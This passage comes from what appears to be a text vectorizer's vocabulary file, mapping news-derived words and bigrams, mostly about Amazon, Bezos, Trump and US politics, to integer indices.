"online right": 146358, "sound wrong": 146359, "mcgill": 146360, "flexible higher": 146361, "213 000": 146362, "1535755023": 146363, "voters don": 146364, "decades recode": 146365, "phone video": 146366, "sex offender": 146367, "prevent aws": 146368, "explicit protections": 146369, "mailing additional": 146370, "bit insensitive": 146371, "office sf": 146372, "senator role": 146373, "nyse ccs": 146374, "nomenclature": 146375, "isn doing": 146376, "favorite recipes": 146377, "writes jonathan": 146378, "kickers tired": 146379, "according court": 146380, "media policy": 146381, "card companies": 146382, "sortorder categories": 146383, "game trump": 146384, "eventually reduce": 146385, "times stories": 146386, "native rss": 146387, "dominant products": 146388, "computer driving": 146389, "history white": 146390, "exploding profits": 146391, "people searching": 146392, "korecki": 146393, "park hallquist": 146394, "duffell president": 146395, "worked": 146396, "11th passed": 146397, "parseint": 146398, "wild mash": 146399, "investment increases": 146400, "weighing challenges": 146401, "study estimate": 146402, "amazon ruled": 146403, "huge boost": 146404, "god sake": 146405, "operatives used": 146406, "right dent": 146407, "merger month": 146408, "editor wendy": 146409, "rabbitti": 146410, "commission version": 146411, "won decide": 146412, "rarely questions": 146413, "reports turkish": 146414, "year annual": 146415, "poff": 146416, "prime series": 146417, "second issue": 146418, "business regional": 146419, "usps denies": 146420, "everybody lips": 146421, "corps members": 146422, "brand realme": 146423, "sullivan supports": 146424, "business friends": 146425, "letter daniel": 146426, "butting congressional": 146427, "week biggest": 146428, "influence president": 146429, "user purportedly": 146430, "high contrast": 146431, "wasn responsible": 146432, "sanctions legislation": 146433, "current relationship": 146434, "department investigations": 146435, "healthful": 146436, "genesis": 146437, "georgia minutes": 146438, "moving companies": 146439, "president ofthe": 146440, "eisen sue": 146441, "breaking central": 146442, "bring quality": 146443, "maybe instead": 146444, "play video": 146445, "bespoke": 146446, "c9x throw": 146447, "high office": 146448, "carell threw": 146449, "characterizing": 146450, "features outlandish": 146451, "need facilities": 146452, "headquarters according": 146453, "interview duckworth": 146454, "akelige": 146455, "push bricks": 146456, "time city": 146457, "chinese companies": 146458, "calibration shifted": 146459, "chuck spirit": 146460, "environment sharply": 146461, "work people": 146462, "place original": 146463, "attendees hearing": 146464, "curious included": 146465, "inventory": 146466, "americans paid": 146467, "implement manage": 146468, "effectively neutralized": 146469, "thebookofnick": 146470, "180 shares": 146471, "scrutinizes": 146472, "mcconnell op": 146473, "hiring campaigns": 146474, "plummeting oil": 146475, "prejudice": 146476, "word search": 146477, "issues took": 146478, "rights industrial": 146479, "warren plans": 146480, "butuan city": 146481, "signed comprehensive": 146482, "rolandsmartin": 146483, "required participants": 146484, "content advances": 146485, "regulatory action": 146486, "500 companies": 146487, "prosperity adding": 146488, "chief record": 146489, "spring rain": 146490, "character shares": 146491, "mass arrests": 146492, "media source": 146493, "tropics took": 146494, "jodi moreno": 146495, "graham criticize": 146496, "business suits": 146497, "onex means": 146498, "national announcement": 146499, "40mm": 146500, "dave wasserman": 146501, "wrangling": 146502, "bezos defended": 146503, "zuckerberg facebook": 146504, "known official": 146505, "drew cantor": 146506, "daimler porsche": 146507, "entertainment performance": 146508, "newspaper purchased": 146509, "boot space": 146510, "returns rep": 146511, "restarted": 146512, "ms diagnosis": 146513, "pelosi spoke": 146514, "allow filmmakers": 146515, "ant\u00f4nio marques": 146516, "billion formula": 146517, "finance daily": 146518, "key audience": 146519, "twitter hound": 146520, "player lived": 146521, "established strategies": 146522, "blueshield association": 146523, "reader comments": 146524, "mcconnell announced": 146525, "introduction": 146526, "enquirer senior": 146527, "stress reduction": 146528, "engine marketing": 146529, "stanley dove": 146530, "books programs": 146531, "tweet employees": 146532, "radar enforcement": 146533, "ipt drew": 146534, "aws ceo": 146535, "best reform": 146536, "devices web": 146537, "facilitating usd": 146538, "committee trump": 146539, "opined leaving": 146540, "unprecedented claims": 146541, "twitter questions": 146542, "nambia": 146543, "acted legitimately": 146544, "socialist wrote": 146545, "shipments forecast": 146546, "feel hopeful": 146547, "asahi diet": 146548, "payloads routinely": 146549, "telecom gear": 146550, "global sellers": 146551, "t000002775 t000047682": 146552, "david zurawik": 146553, "text new": 146554, "capture": 146555, "toronto added": 146556, "craig smith": 146557, "round facebook": 146558, "month reporting": 146559, "possible instead": 146560, "new products": 146561, "belk belk": 146562, "facebook microsoft": 146563, "press email": 146564, "farmer family": 146565, "expiration times": 146566, "post business": 146567, "bezos luck": 146568, "representatives election": 146569, "crime stating": 146570, "lush": 146571, "heavy flooding": 146572, "woodley gushes": 146573, "cultural diversity": 146574, "buzzfeed site": 146575, "daily sign": 146576, "pushing employees": 146577, "shoppers using": 146578, "autocrats": 146579, "advisor john": 146580, "wt": 146581, "downturn 2018": 146582, "dash devices": 146583, "man narrates": 146584, "tighter regulation": 146585, "county based": 146586, "tied red": 146587, "surely brings": 146588, "logos workers": 146589, "unnamed": 146590, "activities founded": 146591, "consumers want": 146592, "internet driving": 146593, "layman": 146594, "encourage compartmentalization": 146595, "operations dave": 146596, "wider": 146597, "bartiromo strength": 146598, "discussed bezos": 146599, "world north": 146600, "comic": 146601, "term investors": 146602, "employee schedules": 146603, "kanchan": 146604, "far mo": 146605, "big businesses": 146606, "bask": 146607, "stock highlighting": 146608, "context trump": 146609, "seemingly taking": 146610, "chase encouraged": 146611, "houston area": 146612, "costs significantly": 146613, "hq near": 146614, "president ticked": 146615, "building fedex": 146616, "remains immune": 146617, "181003173251 amazon": 146618, "activities parents": 146619, "york 14th": 146620, "obama usa": 146621, "page request": 146622, "fund low": 146623, "franz alt": 146624, "leftist newspapers": 146625, "reported 262": 146626, "chairman signals": 146627, "interrupted according": 146628, "handed billion": 146629, "company seeking": 146630, "standardized": 146631, "cnn reporters": 146632, "trivialize new": 146633, "presidentelect tackle": 146634, "probably headed": 146635, "transparency": 146636, "david covucci": 146637, "firm questioned": 146638, "attorney elkan": 146639, "reagan boom": 146640, "planes called": 146641, "violence image": 146642, "antastic": 146643, "immunize": 146644, "michigan wolverines": 146645, "refn powered": 146646, "assembly plan": 146647, "retailer republicans": 146648, "facebook pages": 146649, "glitch independent": 146650, "jobs morning": 146651, "sticky situations": 146652, "cost": 146653, "win today": 146654, "getting shafted": 146655, "department complained": 146656, "start passenger": 146657, "democrats authorities": 146658, "resolving lot": 146659, "visit businessinsider": 146660, "scott jennings": 146661, "sept sanders": 146662, "selection process": 146663, "couple occasions": 146664, "bouncing": 146665, "613 bought": 146666, "racism allegations": 146667, "wholesale cost": 146668, "war period": 146669, "palmer taylor": 146670, "rentiers piggybacking": 146671, "article latam": 146672, "rates just": 146673, "pasture cattle": 146674, "subsequent impact": 146675, "perfect terrifying": 146676, "point winner": 146677, "worry wall": 146678, "liability reported": 146679, "massive government": 146680, "jr proudly": 146681, "boast market": 146682, "subsidiaries include": 146683, "military hardware": 146684, "considerations ahead": 146685, "sparked concerns": 146686, "pharmaceutical businesses": 146687, "market report": 146688, "exclude": 146689, "various editors": 146690, "disgusting ny": 146691, "environments": 146692, "seconds hawaii": 146693, "county landowner": 146694, "essential": 146695, "investors sold": 146696, "queens credit": 146697, "headlineplaintext jquery": 146698, "bolduan congressman": 146699, "bitter political": 146700, "bezos originally": 146701, "carrier performance": 146702, "selling private": 146703, "thompson": 146704, "employment stock": 146705, "states away": 146706, "safer greener": 146707, "writes tl": 146708, "decrease": 146709, "headlines shutdown": 146710, "affectionately known": 146711, "urus exterior": 146712, "injects sorted": 146713, "national cohesion": 146714, "american tourist": 146715, "hampshire nevada": 146716, "gerrymanding": 146717, "messaging": 146718, "adding billion": 146719, "blackburn jeffrey": 146720, "make killing": 146721, "kirsten miller": 146722, "panhandle": 146723, "reach agreement": 146724, "j4 a4ee": 146725, "fineman": 146726, "story bears": 146727, "unparalleled resiliency": 146728, "crime new": 146729, "americans did": 146730, "successful business": 146731, "eve session": 146732, "policy resource": 146733, "urban institute": 146734, "powerful average": 146735, "affirming": 146736, "horror scribner": 146737, "workplace policies": 146738, "colorado police": 146739, "turn political": 146740, "momentum 2018": 146741, "obama make": 146742, "special": 146743, "right": 146744, "probably good": 146745, "starz": 146746, "search ad": 146747, "trunks": 146748, "malito": 146749, "cnbc analyst": 146750, "create valuable": 146751, "contaminated": 146752, "announce prime": 146753, "deray mckesson": 146754, "shark": 146755, "talk nick": 146756, "hirokazu kore": 146757, "company grip": 146758, "acquisition officer": 146759, "casting": 146760, "growing youth": 146761, "weird glossy": 146762, "readings hangman": 146763, "book includes": 146764, "trump sen": 146765, "nylon": 146766, "brings tremendous": 146767, "zremski": 146768, "lanaria amberkira": 146769, "significant number": 146770, "year pecker": 146771, "market respectively": 146772, "facebook donald": 146773, "taxpayer dollars": 146774, "post botched": 146775, "folklore photo": 146776, "trees hold": 146777, "cecilia kang": 146778, "plhilp": 146779, "swiss": 146780, "jerome": 146781, "criminal case": 146782, "155": 146783, "hillary duff": 146784, "developing amazon": 146785, "niles": 146786, "encountered": 146787, "pacific northwest": 146788, "chair leads": 146789, "computer connection": 146790, "extramarital": 146791, "suggested story": 146792, "snow took": 146793, "ford forest": 146794, "combat counterfeiting": 146795, "civic events": 146796, "obligations starting": 146797, "clock project": 146798, "service close": 146799, "humorous story": 146800, "ross branson": 146801, "utilizing": 146802, "quickly firing": 146803, "sexuality outsiders": 146804, "radio host": 146805, "trump rips": 146806, "account 100": 146807, "killam": 146808, "seconds senate": 146809, "enable amazon": 146810, "befall online": 146811, "packages reports": 146812, "jobsplus program": 146813, "million allocation": 146814, "issues manifest": 146815, "r4ee r5q": 146816, "213 million": 146817, "maiella": 146818, "tweeted rep": 146819, "publishers simon": 146820, "carlson continued": 146821, "finding points": 146822, "panel matthew": 146823, "passing grades": 146824, "wasn injured": 146825, "motion does": 146826, "document admits": 146827, "uspto trademark": 146828, "yellow circles": 146829, "brief return": 146830, "calculator handy": 146831, "page pic": 146832, "amazon selling": 146833, "signed prenup": 146834, "mail revenues": 146835, "hijackers": 146836, "billionaire owned": 146837, "lost jobs": 146838, "conservative republicans": 146839, "widespread drone": 146840, "star performer": 146841, "held gathering": 146842, "usps sure": 146843, "atlantic monthly": 146844, "illustrator stan": 146845, "loop capital": 146846, "amazon looking": 146847, "hatch pressed": 146848, "downtrending": 146849, "rolnik": 146850, "junk mail": 146851, "additionally realizing": 146852, "investable": 146853, "perfect sense": 146854, "easily portable": 146855, "overcharges": 146856, "performed remarkably": 146857, "super": 146858, "economy saw": 146859, "facebook plunge": 146860, "amazon workforce": 146861, "suddenly reach": 146862, "trump commented": 146863, "semi nude": 146864, "correspondence mallory": 146865, "media matters": 146866, "tu": 146867, "hurwitz": 146868, "william watts": 146869, "yawners": 146870, "forced jeff": 146871, "382 points": 146872, "unraveling": 146873, "ecommerce group": 146874, "americas invested": 146875, "surprises anymore": 146876, "make sure": 146877, "boy": 146878, "content homecoming": 146879, "penis immediately": 146880, "spicer new": 146881, "translated": 146882, "consensus bolsonaro": 146883, "crowd pleasers": 146884, "years michael": 146885, "improve work": 146886, "younger new": 146887, "commercial purchase": 146888, "pretty significant": 146889, "topics ferrari": 146890, "firm emarketer": 146891, "2018 updated": 146892, "work extremely": 146893, "really symbol": 146894, "polarization": 146895, "blows michael": 146896, "setplayerproperties": 146897, "1iq5vw0 videosourcedivid": 146898, "reported growth": 146899, "linda hamilton": 146900, "bezos laughing": 146901, "governments asked": 146902, "photo credit": 146903, "summer binge": 146904, "anniversary posted": 146905, "surveillance powers": 146906, "outside work": 146907, "lists following": 146908, "boat": 146909, "president presumably": 146910, "issues plague": 146911, "smart cities": 146912, "management marketing": 146913, "bezos facebook": 146914, "buzzfeed news": 146915, "president characterization": 146916, "hoeft": 146917, "fine google": 146918, "rami malek": 146919, "making ready": 146920, "significance great": 146921, "florida election": 146922, "newspaper production": 146923, "hayes talks": 146924, "act mma": 146925, "right track": 146926, "fuels amazon": 146927, "timely wicked": 146928, "fearful": 146929, "salvos": 146930, "fbr analyst": 146931, "reopen soon": 146932, "bad uses": 146933, "technology plays": 146934, "marketwatch businesses": 146935, "privacy meltdown": 146936, "thelawyers": 146937, "obtain better": 146938, "2019 photo": 146939, "agreement allowed": 146940, "lynne": 146941, "allocation climbing": 146942, "ottoman": 146943, "king imagine": 146944, "hearing evidence": 146945, "forbes 2018": 146946, "island click": 146947, "average figure": 146948, "important economic": 146949, "benny avni": 146950, "little clarity": 146951, "chef knives": 146952, "mindfulness": 146953, "text rep": 146954, "accuse jeff": 146955, "really wanted": 146956, "transgender protections": 146957, "consults": 146958, "cushy treatment": 146959, "ago tango": 146960, "gun book": 146961, "doesn neatly": 146962, "girl reminiscent": 146963, "needle according": 146964, "city say": 146965, "company stock": 146966, "suburban detroit": 146967, "teresa kumar": 146968, "deploy": 146969, "cabo san": 146970, "corporations making": 146971, "3pl": 146972, "price took": 146973, "highlights timeless": 146974, "keyarena": 146975, "opening ceremony": 146976, "house gayle": 146977, "rival internet": 146978, "unfair manner": 146979, "overhyped techno": 146980, "closely covered": 146981, "instagram messages": 146982, "enquirerreports": 146983, "items purchased": 146984, "administration fda": 146985, "offers struck": 146986, "705": 146987, "need mentors": 146988, "hogg": 146989, "ice series": 146990, "century wrote": 146991, "ge company": 146992, "action center": 146993, "guilty": 146994, "bushes": 146995, "cheap foreign": 146996, "venezuela exodus": 146997, "pricing pulling": 146998, "837": 146999, "appreciation appears": 147000, "precious daughter": 147001, "despite big": 147002, "driving liberal": 147003, "yellen": 147004, "la instead": 147005, "nonworking years": 147006, "watson afp": 147007, "night severe": 147008, "nearly trillion": 147009, "oversees immigration": 147010, "service negotiates": 147011, "horcher kiro": 147012, "order battery": 147013, "vehicle makers": 147014, "fun inventions": 147015, "reducing healthcare": 147016, "resignation": 147017, "power traditionally": 147018, "shira wonder": 147019, "single subscriber": 147020, "worries right": 147021, "110 executive": 147022, "responded accordingly": 147023, "phased approach": 147024, "gowdy south": 147025, "ageism 2018": 147026, "glaring": 147027, "technology falsely": 147028, "reportedly questioned": 147029, "immediately afterward": 147030, "showcase": 147031, "divide sound": 147032, "hours seattle": 147033, "world": 147034, "contracting process": 147035, "counsel jon": 147036, "communicator": 147037, "abortion care": 147038, "commended": 147039, "match mama": 147040, "paypal started": 147041, "strange zing": 147042, "states english": 147043, "bartiromo right": 147044, "eventually political": 147045, "bullet blender": 147046, "view link": 147047, "western garb": 147048, "detections": 147049, "deputy died": 147050, "dragging people": 147051, "collar employees": 147052, "allies defeated": 147053, "director michael": 147054, "headquarters officials": 147055, "trading day": 147056, "father win": 147057, "elemental staff": 147058, "dellinger engadget": 147059, "great herera": 147060, "tron": 147061, "caption dprk": 147062, "requirements unfairly": 147063, "activists just": 147064, "virtue": 147065, "statement adding": 147066, "democrats google": 147067, "happen trump": 147068, "press instead": 147069, "branch press": 147070, "increased spending": 147071, "legislative procedures": 147072, "perfectly fine": 147073, "karin connelly": 147074, "union intellectual": 147075, "home recording": 147076, "include automotive": 147077, "lai sent": 147078, "enterprise owners": 147079, "psychopath": 147080, "political liberalism": 147081, "colm express": 147082, "makes perfect": 147083, "fact help": 147084, "hive newsletter": 147085, "wife whitesell": 147086, "hotel fortune": 147087, "machine cosecha": 147088, "doing fine": 147089, "abandon plans": 147090, "lobbyists democratic": 147091, "reports viewreport": 147092, "hard fans": 147093, "organization google": 147094, "rival cnn": 147095, "investors forget": 147096, "cease": 147097, "bezos denying": 147098, "emarketer trump": 147099, "runs mission": 147100, "program engineers": 147101, "whitehouse potus": 147102, "bls": 147103, "personal political": 147104, "brother assaulted": 147105, "person holds": 147106, "jewelry": 147107, "president unleashed": 147108, "egan": 147109, "cigna ci": 147110, "hillary laughing": 147111, "scouting": 147112, "trac": 147113, "company profit": 147114, "waterfront queens": 147115, "latest tesla": 147116, "china scooping": 147117, "rural san": 147118, "jury litigator": 147119, "commerce bolsonaro": 147120, "early bird": 147121, "senator josh": 147122, "higher office": 147123, "annual report": 147124, "box set": 147125, "offered maximum": 147126, "big chunk": 147127, "scandalised": 147128, "holocaust victims": 147129, "stint freelancing": 147130, "influence operations": 147131, "changing policy": 147132, "newest acquisition": 147133, "2012 election": 147134, "akira sensitive": 147135, "sleep aid": 147136, "korean central": 147137, "costs far": 147138, "amazon unfair": 147139, "majority instead": 147140, "usb port": 147141, "translate documents": 147142, "amazon skip": 147143, "future looks": 147144, "cancer amazon": 147145, "amazon twist": 147146, "immediate backlash": 147147, "kids backpack": 147148, "bezos expressing": 147149, "curve inverts": 147150, "hour kari": 147151, "includes big": 147152, "dollar college": 147153, "725 965": 147154, "war headlines": 147155, "amazon represent": 147156, "production merchandising": 147157, "regulatory group": 147158, "startribune": 147159, "marijuana dispens": 147160, "2015 remember": 147161, "political rise": 147162, "day jj": 147163, "prices soaring": 147164, "muilenburg geekwire": 147165, "industry reported": 147166, "goneril emily": 147167, "indefinite appropriation": 147168, "circuit": 147169, "process liat": 147170, "level repeatedly": 147171, "sketch presents": 147172, "washington thank": 147173, "brooklyn building": 147174, "maura cassidy": 147175, "visible result": 147176, "prime platform": 147177, "amazon fiercest": 147178, "allowing mining": 147179, "grew american": 147180, "graham talked": 147181, "driven rivals": 147182, "direct revenue": 147183, "effect later": 147184, "poor": 147185, "studies conducted": 147186, "cost best": 147187, "controls specific": 147188, "brokerage": 147189, "reuters house": 147190, "socialist left": 147191, "deaf": 147192, "drench": 147193, "permanently altered": 147194, "halfhearted": 147195, "sufficiently similar": 147196, "agreement excluding": 147197, "muslim isn": 147198, "jul": 147199, "kubernetes": 147200, "york shouted": 147201, "cup finals": 147202, "measure wouldn": 147203, "4_5": 147204, "travel iq": 147205, "homes iconic": 147206, "promoted": 147207, "publication supply": 147208, "networkers": 147209, "level playing": 147210, "marxists": 147211, "tea leaves": 147212, "schuster ny": 147213, "unveil additional": 147214, "ant": 147215, "based apple": 147216, "company noted": 147217, "mixed quarterly": 147218, "samsung krx": 147219, "parcel business": 147220, "lower drug": 147221, "encourage amazon": 147222, "phase trial": 147223, "strongest growth": 147224, "apple airpower": 147225, "revenue ibm": 147226, "democrats demand": 147227, "foods amazon": 147228, "microseconds": 147229, "2d 463": 147230, "intended effect": 147231, "membership": 147232, "trump dp": 147233, "story justin": 147234, "worse according": 147235, "8df1y5uwxr": 147236, "workers total": 147237, "private wealth": 147238, "information network": 147239, "delivered keeps": 147240, "missile trump": 147241, "audibly": 147242, "suburban women": 147243, "raises deep": 147244, "buy solid": 147245, "ice uses": 147246, "logistics network": 147247, "modified": 147248, "airmen bought": 147249, "great quarter": 147250, "veronica cope": 147251, "cops sure": 147252, "past ge": 147253, "hurricane matthew": 147254, "economic writer": 147255, "second takes": 147256, "voters sparking": 147257, "states galloway": 147258, "target launching": 147259, "spends approximately": 147260, "wasn putting": 147261, "mush": 147262, "mark cohon": 147263, "particular dealings": 147264, "spokesman drew": 147265, "isn playing": 147266, "22nd laying": 147267, "camera shoulder": 147268, "farmers referring": 147269, "tax deal": 147270, "improve special": 147271, "bolden": 147272, "development programs": 147273, "gringo": 147274, "sourceassociated press": 147275, "wasn kneeling": 147276, "facebook npr": 147277, "ads lyin": 147278, "big direct": 147279, "2018 wolff": 147280, "trends wilson": 147281, "decaying": 147282, "page fisa": 147283, "writer sandy": 147284, "lea": 147285, "employment report": 147286, "japanese empire": 147287, "industry association": 147288, "proxy president": 147289, "consumer experience": 147290, "el salvador": 147291, "career ground": 147292, "later bounce": 147293, "invasion panic": 147294, "zing votes": 147295, "andover sites": 147296, "mcphee": 147297, "border caracas": 147298, "screenshot documentary": 147299, "mturk": 147300, "lowering taxes": 147301, "overlooking elliott": 147302, "owned privately": 147303, "era seaport": 147304, "clinton bob": 147305, "proclaimed citi": 147306, "union rwdsu": 147307, "lifted million": 147308, "disrupting": 147309, "defense digital": 147310, "trump lashed": 147311, "sounded 400": 147312, "price inflation": 147313, "caf\u00e9": 147314, "border amazon": 147315, "quite rightly": 147316, "investment conference": 147317, "manner based": 147318, "business economic": 147319, "task": 147320, "psychotropic humorous": 147321, "needed revenue": 147322, "craig hallum": 147323, "ain guy": 147324, "teach kids": 147325, "welcome news": 147326, "earlier report": 147327, "reefs nbc": 147328, "just unfortunate": 147329, "offensive traits": 147330, "requests": 147331, "shawn booth": 147332, "landmark report": 147333, "tariff price": 147334, "throw giant": 147335, "khan writes": 147336, "courses": 147337, "abc roseanne": 147338, "noted today": 147339, "trends play": 147340, "year shows": 147341, "admirably modest": 147342, "widely expected": 147343, "program manager": 147344, "way jpmorgan": 147345, "information anchor": 147346, "cleaning isn": 147347, "greatest question": 147348, "trump assaults": 147349, "classic anti": 147350, "remain supportive": 147351, "kadetsky": 147352, "faces charges": 147353, "protect carbon": 147354, "various stories": 147355, "attorneys say": 147356, "commenters suggested": 147357, "labor attorney": 147358, "company enjoy": 147359, "press article": 147360, "respected news": 147361, "pr newswire": 147362, "nearly read": 147363, "enterprise dealings": 147364, "headquarters heats": 147365, "unfair stranglehold": 147366, "address climate": 147367, "spanish word": 147368, "president juan": 147369, "overheated": 147370, "existing gta": 147371, "ooh sexy": 147372, "opioid prescribing": 147373, "wine movie": 147374, "extraordinary intervention": 147375, "administration joined": 147376, "sympathetic politicians": 147377, "continued anger": 147378, "identifying high": 147379, "laces": 147380, "declines following": 147381, "mark krikorian": 147382, "small recurring": 147383, "mugabo": 147384, "amazon chose": 147385, "ai principles": 147386, "promotion seeking": 147387, "brother according": 147388, "1970s lee": 147389, "nation country": 147390, "inhabitants brazil": 147391, "friendlier connections": 147392, "dossier publication": 147393, "economist systemic": 147394, "amy rosenbaum": 147395, "gains break": 147396, "guy think": 147397, "receiving million": 147398, "general provide": 147399, "video trump": 147400, "jerrelle guy": 147401, "higher school": 147402, "coins overstock": 147403, "received competitive": 147404, "state subsidies": 147405, "recon": 147406, "paragraph": 147407, "staff mute": 147408, "package say": 147409, "immigration world": 147410, "customers pay": 147411, "beal": 147412, "project bezos": 147413, "google says": 147414, "brutal working": 147415, "trump tom": 147416, "fedex combined": 147417, "beyonce fan": 147418, "superjumbo jet": 147419, "basically took": 147420, "privately criticized": 147421, "australian meth": 147422, "additional policy": 147423, "lot closer": 147424, "market oracle": 147425, "liners": 147426, "brazil newly": 147427, "thought glenn": 147428, "money losing": 147429, "shonda": 147430, "include knock": 147431, "videoplayer thumbimageelem": 147432, "deal trump": 147433, "people happy": 147434, "city implemented": 147435, "behemoth reported": 147436, "invent shopping": 147437, "additional fees": 147438, "electronics company": 147439, "community wrote": 147440, "movementy offsetx": 147441, "tempe": 147442, "flowers": 147443, "shake": 147444, "financial independence": 147445, "transit board": 147446, "normally": 147447, "technocrat": 147448, "220 type": 147449, "avoid nearly": 147450, "prior parody": 147451, "associations": 147452, "nelson choice": 147453, "printing million": 147454, "wider dissemination": 147455, "lawsuits according": 147456, "online spend": 147457, "industry efforts": 147458, "better crony": 147459, "institutions highly": 147460, "republican senator": 147461, "alexa new": 147462, "jokes jordan": 147463, "capital commitment": 147464, "launch money": 147465, "minnesota rashida": 147466, "usps principally": 147467, "residing": 147468, "2012 amid": 147469, "mojo": 147470, "low level": 147471, "dad potus": 147472, "daily deals": 147473, "essential programs": 147474, "bloomberg net": 147475, "facing opposition": 147476, "added fedex": 147477, "employment base": 147478, "land andnowuknow": 147479, "way government": 147480, "height adjustable": 147481, "rawat": 147482, "trump aim": 147483, "overnight photo": 147484, "turkey encouraged": 147485, "ground retailers": 147486, "right time": 147487, "appear": 147488, "mccabe fbi": 147489, "predicts demand": 147490, "internet sales": 147491, "trust lawsuits": 147492, "intelligence findings": 147493, "meal serve": 147494, "holistic": 147495, "certainly reasons": 147496, "steel prices": 147497, "concurrent rush": 147498, "decision following": 147499, "jeans company": 147500, "including ivanka": 147501, "terrorism accounts": 147502, "640": 147503, "dramatic slash": 147504, "lionel bonaventure": 147505, "emissions escalating": 147506, "shahar": 147507, "caption": 147508, "campusreform": 147509, "matter repeatedly": 147510, "research review": 147511, "cnbc bs_bullet_primary": 147512, "rules warren": 147513, "point margin": 147514, "trade storm": 147515, "named becker": 147516, "era case": 147517, "usps operation": 147518, "oversaw oppression": 147519, "flashy awards": 147520, "amazing week": 147521, "company revenue": 147522, "explained adding": 147523, "new austin": 147524, "international crisis": 147525, "weinroth": 147526, "seattle": 147527, "luminaid": 147528, "cuny perspective": 147529, "low posted": 147530, "lunch eaten": 147531, "trump pleaded": 147532, "president ceo": 147533, "taxpayers tallied": 147534, "people food": 147535, "gangster": 147536, "opportunity zones": 147537, "paraphrase rourke": 147538, "repeated threats": 147539, "competitions ive": 147540, "new military": 147541, "friendly tax": 147542, "unsophisticated": 147543, "middle schooler": 147544, "probably considered": 147545, "unleashed chain": 147546, "new authority": 147547, "fundamental gap": 147548, "support ban": 147549, "stock symc": 147550, "trump motivation": 147551, "incendiary indignation": 147552, "energy editor": 147553, "oecomplexifier euro": 147554, "president michael": 147555, "currently ranks": 147556, "sentence": 147557, "risky corporate": 147558, "right unless": 147559, "industry sanders": 147560, "rubenstein did": 147561, "action dow": 147562, "landscape new": 147563, "metals market": 147564, "onwer": 147565, "failing new": 147566, "barbarian tribes": 147567, "took dig": 147568, "considered encouraging": 147569, "church clerical": 147570, "licensors": 147571, "mortar amazon": 147572, "lobbyist bezos": 147573, "repeated war": 147574, "drink insulators": 147575, "slowing katherine": 147576, "cargo ships": 147577, "negative stories": 147578, "broke suggesting": 147579, "amazon garrard": 147580, "extremely tight": 147581, "nifty": 147582, "vocal issues": 147583, "research senior": 147584, "lobosco": 147585, "biggest criminal": 147586, "raines": 147587, "287": 147588, "businesses rely": 147589, "stu zakim": 147590, "large taxpayer": 147591, "amazon features": 147592, "official singles": 147593, "really quickly": 147594, "bezos asserting": 147595, "danhof refers": 147596, "advertising business": 147597, "city imposing": 147598, "amazon create": 147599, "cnn font": 147600, "regular guy": 147601, "plant": 147602, "missed jeff": 147603, "body created": 147604, "darkly comedic": 147605, "scour": 147606, "barriers did": 147607, "companies doesn": 147608, "wealthiest billionaire": 147609, "2600": 147610, "sydney": 147611, "diversifying exports": 147612, "substantial progress": 147613, "scene shirtless": 147614, "guardian complete": 147615, "trillion value": 147616, "making 4dx": 147617, "secrets business": 147618, "liberal instinct": 147619, "increases reduce": 147620, "truly engaged": 147621, "journal article": 147622, "unused real": 147623, "talking chairman": 147624, "allow agencies": 147625, "policy advisor": 147626, "gift given": 147627, "children hospitalized": 147628, "fox anchor": 147629, "establish lunar": 147630, "new york": 147631, "massive fortune": 147632, "capabilities thanks": 147633, "competition yeah": 147634, "attends meeting": 147635, "government wants": 147636, "lovingly protect": 147637, "new service": 147638, "page collection": 147639, "newfoundland supply": 147640, "acquisition draws": 147641, "slimme aftrekposten": 147642, "awkward position": 147643, "frequently attacks": 147644, "university mcdonough": 147645, "bezos george": 147646, "trade axis": 147647, "abusive content": 147648, "advchart": 147649, "moderate candidate": 147650, "networking skills": 147651, "host steve": 147652, "foods yes": 147653, "modified airs": 147654, "nyse dis": 147655, "strengthened border": 147656, "authorities including": 147657, "brent shelton": 147658, "crushed diplomacy": 147659, "yesterday warned": 147660, "increased influence": 147661, "change accord": 147662, "tacky": 147663, "phones designed": 147664, "alienating": 147665, "data reuters": 147666, "gained momentum": 147667, "movementx movementy": 147668, "short films": 147669, "ibd": 147670, "including twitter": 147671, "company responsible": 147672, "hudson taste": 147673, "companies linked": 147674, "dorsey stepping": 147675, "amid soaring": 147676, "cheap card": 147677, "discussions trump": 147678, "snapshot gardens": 147679, "including looking": 147680, "afternoon trade": 147681, "issue area": 147682, "did stephanopoulos": 147683, "story months": 147684, "lear": 147685, "fashion industry": 147686, "page infowars": 147687, "date spokesperson": 147688, "distribution network": 147689, "enable dreamers": 147690, "form email": 147691, "apg": 147692, "trade attorney": 147693, "bludgeon": 147694, "facility": 147695, "jody hice": 147696, "nairobi": 147697, "bank stock": 147698, "embarrassingly": 147699, "fact lie": 147700, "bears appear": 147701, "usage second": 147702, "juncture": 147703, "costs including": 147704, "bowtie": 147705, "bezos jr": 147706, "parties dual": 147707, "banana bread": 147708, "magnolia table": 147709, "sch html": 147710, "length documentary": 147711, "traction amazon": 147712, "principally": 147713, "seeing lot": 147714, "baptist": 147715, "cca says": 147716, "owner doesnt": 147717, "till": 147718, "power exactly": 147719, "really great": 147720, "doubly": 147721, "mcdermott": 147722, "action contact": 147723, "evan fisher": 147724, "ncluding facebook": 147725, "latest income": 147726, "samantha maldonado": 147727, "nvidia technology": 147728, "really focusing": 147729, "oath digital": 147730, "greeted": 147731, "unlimited budget": 147732, "millennial focused": 147733, "technical excellence": 147734, "recent reporting": 147735, "received different": 147736, "avoid antitrust": 147737, "sugin": 147738, "products buying": 147739, "quiet st": 147740, "promote commerce": 147741, "external experts": 147742, "bring suit": 147743, "repurchase": 147744, "house vote": 147745, "budget season": 147746, "trading remained": 147747, "amazon convicted": 147748, "dynastic richness": 147749, "gpu architecture": 147750, "distinctive feature": 147751, "blanchett": 147752, "acres post": 147753, "saudi capital": 147754, "visited school": 147755, "alleged collusion": 147756, "bio tech": 147757, "nets 116": 147758, "deep offense": 147759, "israeli spacecraft": 147760, "researchers say": 147761, "mamma": 147762, "sec rules": 147763, "hit": 147764, "sass": 147765, "class alaniz": 147766, "rodham clinton": 147767, "retailers launched": 147768, "thanks": 147769, "lael brainard": 147770, "good old": 147771, "accusations read": 147772, "galloway founder": 147773, "ibo": 147774, "footprint elon": 147775, "euractiv": 147776, "nibbles": 147777, "2018 alfresco": 147778, "trump color": 147779, "amazon placed": 147780, "commerce sites": 147781, "chairman": 147782, "reasonable multiples": 147783, "sanchez denied": 147784, "amazon guide": 147785, "new ironies": 147786, "entertainment options": 147787, "740 words": 147788, "kaminsky": 147789, "impressive wins": 147790, "kavitha george": 147791, "amazon badhealth": 147792, "appropriations": 147793, "tongue happened": 147794, "shopper doorsteps": 147795, "conglomerate needs": 147796, "logging losses": 147797, "mudslides": 147798, "targeted companies": 147799, 